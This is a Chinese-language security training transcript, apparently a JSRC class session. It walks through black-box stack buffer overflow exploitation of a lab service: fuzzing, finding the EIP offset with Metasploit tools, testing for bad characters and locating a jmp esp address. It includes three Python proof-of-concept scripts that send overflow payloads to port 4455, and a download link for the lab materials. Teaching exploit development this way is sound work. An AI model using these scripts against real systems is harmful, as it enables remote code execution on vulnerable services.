- A+
缓冲区溢出是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。
JSRC 安全小课堂第126期,邀请到遗忘作为讲师就黑盒测试缓冲区溢出的技术为大家进行分享。同时感谢小伙伴们的精彩讨论。
京安小妹:缓冲区溢出是什么意思?
遗忘:
缓冲区溢出是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。
京安小妹:冲区溢出的偏移怎么查找?
遗忘:
可以通过metasploit自带的脚本生成一串很长的字符串,如图
接着我们把这3000个字符当作payload去执行
可以看到,这个时候,EIP变成了
EIP变成387a4137
还是使用msf自带的脚本,根据EIP,计算出偏移为
接着我们可以看一下偏移找的是否正确
POC如下
#!/usr/bin/python
import sys, socket
if len(sys.argv) < 2:
print "nUsage: " + sys.argv[0] + " <HOST>n"
sys.exit()
cmd = "OVRFLW "
junk = "A"*773 +"B"*4+"C"*(3000-773-4)
end = "rn"
buffer = cmd + junk + end
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 4455))
s.send(buffer)
s.recv(1024)
s.close()
773个A,加上4个B以及一堆C,如果偏移没有计算错误,那么执行完的结果,EIP应该被覆盖成42424242
我们可以看到,EIP确实被覆盖成42424242,说明偏移是正确的
我这里倒过来讲一下,第一个步骤以及POC
#!/usr/bin/python
import sys, socket
if len(sys.argv) < 2:
print "nUsage: " + sys.argv[0] + " <HOST>n"
sys.exit()
cmd = "OVRFLW "
junk = "A" *3000
end = "rn"
buffer = cmd + junk + end
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 4455))
s.send(buffer)
s.recv(1024)
s.close()
这是第一步的POC,直接是3000个A,相对应的EIP,为41
缓冲区的栈溢出,就是覆盖EIP,然后执行我们最终的shellcode
京安小妹:缓冲区溢出的坏字符是什么意思呢?
遗忘:
缓冲区溢出的在生成shellcode时,会影响输入的字符,比如’n’字符会终止输入,会截断输入导致我们输入的字符不能完全进入缓冲区。
常见的坏字符有x0ax0bx00,但是本实验还有另外的
这时候我们用全字符当作payload执行一下
POC为
#!/usr/bin/python
import sys, socket
if len(sys.argv) < 2:
print "nUsage: " + sys.argv[0] + " <HOST>n"
sys.exit()
badchar=(
"x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10"
"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"
"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30"
"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40"
"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50"
"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60"
"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70"
"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80"
"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90"
"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0"
"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0"
"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0"
"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0"
"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"
"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0"
"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexffx00"
)
cmd = "OVRFLW "
junk = "A"*773 +badchar
end = "rn"
buffer = cmd + junk + end
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 4455))
s.send(buffer)
s.recv(1024)
s.close()
对应的结果为
从01开始,一直到00结束,我们可以看到,01,02,03显示正常,但是04,05变成了B0以此类推,我们找到的坏字符如下x04x05xa4xa5xb0xbaxbbxefxf0,再加上常见的x0ax0bx00就是我们最终的所有坏字符
京安小妹:缓冲区溢出的坏字符怎么查找?
遗忘:
这时候我们用全字符当作payload执行一下
POC为
#!/usr/bin/python
import sys, socket
if len(sys.argv) < 2:
print "nUsage: " + sys.argv[0] + " <HOST>n"
sys.exit()
badchar=(
"x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10"
"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"
"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30"
"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40"
"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50"
"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60"
"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70"
"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80"
"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90"
"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0"
"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0"
"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0"
"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0"
"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"
"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0"
"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexffx00"
)
cmd = "OVRFLW "
junk = "A"*773 +badchar
end = "rn"
buffer = cmd + junk + end
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 4455))
s.send(buffer)
s.recv(1024)
s.close()
对应的结果为
从01开始,一直到00结束,我们可以看到,01,02,03显示正常,但是04,05变成了B0以此类推,我们找到的坏字符如下x04x05xa4xa5xb0xbaxbbxefxf0,再加上常见的x0ax0bx00就是我们最终的所有坏字符
京安小妹:缓冲区溢出的shellcode跳转地址怎么查找?
遗忘:
使用的跳转地址是jmp/call esp,可以利用调试器在程序运行后,在程序内部或者程序加载的dll动态链接库中寻找jmp/call esp指令
一般可以选kernel32.dll
然后Ctrl+F,搜索jmp esp
可以找到跳转地址为6a966683
数据在内存中的存储顺序是四个字节一组倒着存储,所有我们需要把地址反着写入
所以跳转地址应该为x83x66x96x6a
找到跳转地址,又知道了坏字符,这时候可以直接生成shellcode
并且执行,就像这样
互动问答环节:
遗忘:
1.就是通过这个进行对比,不一致的地方就是坏字符是么?
遗忘:
是的,进行比对,显示不正确的,就是坏字符,黑盒上来说是这样
但是通过反编译,不是全部是坏字符,但是坏字符是可以多,不能少的,所以黑盒不能确定具体只能全部算是
2.生成shellcode可以详细说一下么?
遗忘:
3.您好,这个pwk程序与利用脚本可以提供参考一下么
遗忘:
本期小课堂里面所提到的资料
链接: https://pan.baidu.com/s/1pUyYH48y5q7JRAyVPYKrfw
提取码: fmdz